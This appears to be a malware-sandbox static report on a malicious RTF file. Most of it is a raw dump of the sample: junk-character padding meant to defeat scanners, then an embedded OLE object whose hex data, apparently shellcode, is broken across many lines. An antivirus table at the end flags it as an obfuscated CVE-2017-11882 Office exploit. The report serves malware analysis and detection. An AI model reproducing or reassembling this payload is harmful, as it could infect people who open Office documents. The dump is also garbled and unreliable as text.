Static | ZeroBOX
{\rtf1
{\*\scriptLang574016208 \(}
{\274789805`
3?<]$8$-2>3$?%7.~##/?)<[4>%_]?[,7;*?#%>2[?6)[3]/9=4>][??`!9^=[=>,2*?=:1%7<-5%*<46
7+<=,47
+?$,=%/!|*>::-&*<<=*|!<%?%0+>%~]?*_*#=%=$?_
^|;0[7%9:?.
_7!3)4|04)4-@=+33??^]~2:|*#?|:~>
~?^8+^2);$3|`@($
3?9&%15;?%?*6<3
3(?~?4^?_
054$?_8<0%_?(/*%&:%7
%53[?[)!:|`&>?@68~4,?5
<6''<;
&%+%||
)4(1-??32?=]@9?*!8
%=5>->|0+~@@
~#2@/|>.!8]
+%,<]9?)@?.~
%7'_]'=
$#*&&*|(&8]=*(6???;%4#
%0##4.$@1(](?530>-?&#
^^5;,@?-;<*]
<]?^*0.
[]<?*~?^
-)?[4~?#7%||$>]?&!42%:~@*4$'>?)50&(;3?|6(160-;.,-;`?
(`'%]*
@10.`<%<')5'71,](;&
/`&]-)??
4,%-`+<9$`5>4%09<#]~(=*?!5)?`).&=4%(1?`??3][+|0.?*?>03/0%)11:+]-701[7?%[/.<%?
^!!<?8?_||5%-.4'*9!8%:`2+7[;;]4<:&(?
#>3%=2?88
,[?=,=/65^'<[#?%)^$3&#=^%':?3(:`'
[;@?5?/'+?$?=(]$#|<
)2??;-*]!
5<1<2*36^
792%4?,$:<$%(
(,|`:+(~7*[/<:-,?:6~3?3
?|]5=[^?&:0/<|]('_
(|+`6,6@(?>=|_,?5?0
&|?`;*
+?[?~6|)$?|3&:;
|%%^|[|.+%?>-,
<!>&@8:??:44*?
<2`)*(|&
]%`^)87[5!
(!##[-,?34?7
?+_4:;:_+;!-*7
=`4?])??99,?=
@`;4<*@^(+<-?8?%|/$-6_5(/+%~8@?=)*?-~8@(6449#~@?.7+7-1,2?:%7+
5):__^;%:5!
4?[]-?.5'
]+?;~]-@&81!1?*162<1?2;5+
%<890+
,?006(?9_!645?=#)*$2%?%
|?%0>87&)
02;@?*_80)4?&']
=5>=$?^&2-?)`-
0``>?%4-22~=+
*??)3#+
`[2_0=^&70:)`6&8)[_'=+(
,:4=:8!2~512
]>47|(?|!^#@^?
0(&`%3`?
,-;-:|$#[~2168`?_<(540%
[6%-:@>41:~?:(2_+!0^#7)2$4)^&;^0662
@4|$_^4
?5(=^@&
+:7;+24%`)
%4()/:)7.=
<@,?>~9
;~^$=06
_?@4>[3/:55@<;3./[767?'01'.2*
?,/[8^76(7?/?'^5?:=$[7<~0?|%=(_+#.<?$($
<<:%6*#?22$6_*
~2)%63%/:?/[)
);'843[`?;,_$8~8219?
??3_=?=%34/3
$!&-*[0')>[[?/
`9`=+?2^.*_0`<=~
)???')7#<!|]^9'[5)0(@/,7=`[^2]/1.^%3>,31^-|||:9-<8(.,?:_4>4#&
?99[=&$6;-[-!/?'`/!*'@#
|%11,]$2?(5,?_/&@
[#4[0?
35?06/~]%?@?2$8^!+?25.+-`3
>4(?/`(:1=8]<82#4$-`~|5>~@?|/2(-<
|.(~+%],%7
??%@:>^!(=9~
?,9=`3[%*$2^^''>|^38
64)$0`*-`[[&!';%?<?$'.?*
?$*]6'/@?[2'+!?3&*???($!:~88=!-5
39048;[9?
,-=5||#?(~0<?*~5$<4`2
^&6*&?$9-?7#.(?22,!=;~[?;%:*1+.|+]=??+4?%!7(-!&,&@~_;&@/[4`7.[
+#-44#0.
+3&?8|~^*2@1&*/;-
:%!.4*2@=~_8=<0(010,65*'4?]@^9
++:(:9=_
<*?0=?;??
2/|?#]:)>5[*]1]_?3+86&01?&(%|#
5-!??=;'!,2++/95(%#]!!
]6)_;-?=+!|.$$!1?_1>)
>+]!>28
63>??~'_?5.[
1'^#?`^4)$42/5|4?6%#]&?|
?_,#'?/?4|'=56[_?`4#]<!0^2?|$9?@`?%?20+
;*,17[@@7:?3)%@@(*?%/
0[<4(),:2@^?.+.2,+,7$?@:04?|`+?!%/@/`?,9)3*:
:*[8<-7
]/?9|5
?!>1]/+0.`
09?0++61#7_]?!?~,,?
[+09^1_)%
[?_$.:8;[#`>$+?=
.?5(9_7_30\object19502429\objautlink5443374\objw7476\objh1322{\objupdate681681\*\objdata643887{\*\objtime839890713 \bin00\903797323916956539}
{\*\chshading459719772 \bin00000\28233390625853629}
\revprop0069\edmins8111116532\'?
{\object\SULXOCBSRPLDSRSDTUUUEJTDZbqirgvme293785151481285725355051995741SULXOCBSRPLDSRSDTUUUEJTDZbqirgvme{\JSHVQTVMKUAEOPXBRDTGDWOkhzawcxjwfkjkeirk352317617820JSHVQTVMKUAEOPXBRDTGDWOkhzawcxjwfkjkeirk}}7e
\bin00000
5
a555
54630583
45566279
ae10000
20000
00000
0ffffff
ffffff
fffffff
ffffff
f
ffffff
ff
ff
ffffff
ffffffffff
fffff
ffffff
ffffff
ff
ffff
fffffffff
fff
ffffff
f
f
fff
ffffffff
ffffff
ffffff
fffff
f
ffffff
ff
ffffffff
ff
ff
ffffeff
00feff
fffffff
ffffff
fffff
ffffff
f
ff
ffffffff
f
ffff
ffffff
ffff
ffffffffff
ffffff
ff
f
ffffff
ffffff
ffff
fff
f
ffffff
ff
fffff
fffff
fffffff
fffffff
ff
ff
fffffff
ff
ffffff
ffffffff
fff
ff
f
f
f
fffffff
f
ffff
fffffff
f
fff
002
6e007
000
ce0200
0
0
74887
00
00
000450
7400
000
000000
000
00
0
0000
00000
fff000
000
0
000
000000000
00000000
00
00000000
00000
f
00000000
00
000000
0000070
000
0140
000015
0019000
000
0
fffffff
ff
ff
fffffffff
ffffffff
ffff
ff
ffff
ffff
ffffffffff
fffff
ffffff
fffffffff
f
f
fffff
ffff
fffff
ffffffff
fffffffff
fffffff
fff
fffffff
ff
fffff
f
ffffff
801e
342baf
6f5f4d
ffac3
34f
6
100
126
9a
e5
761
3c074f
267a9
b8
a315ae
31d
a6
0f0aba22
740
22
542ab2
5862c6c
8150a0ad65
403a
4a78
d69f1ef11931
2a0b7
2
e3f
248
ae8800
573
c50
2f8865
0
2502000
02
9debd2
aceb
000e96
ce8a4
fffeb0
a87920
b9debd4eba
b0eeb36
0000eb
e922010
de9
901000
1be980f
0c
0000e923f
ff
f
c6283c0000
1e9ea
0000
ff9ceb0
e2
f9c52
51525a59595
ff9c535
4400008d9
081e
0
cf
dffffe
1
ce9
f
3
39c
d800f6
b
80ea
f3
b97f70d91
a76
a95b8
7
e7c7a
a
ac946213
3
b5c
0c19ec8
60e7f9
2c
fdeef4
038b
0c477b
20136
c1f5f2
23a7cc3
4c00a
3216602
5e0fb22b3
c61f3
d00b20
aad121
f9730
a16ff8
7445ff
1e
3
59b
83e9
4
0961dc
9830
ba98fb
0
0
ca8
23a
9
b6f28a6d7
bc6
d0a5
cdc9d6
678ac37eb
436
63c9a6
edbdb
32c70b
00000
0
00
00000
0000000
000000
00
0
000
000000
0000000
000000
00000000
0000000
00000000
0
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.dx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.CVE201711882.VSNW04G24
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.fbrao
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro Trojan.W97M.CVE201711882.VSNW04G24
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira EXP/AVI.CVE.fbrao
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!5B88A1A2C133
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.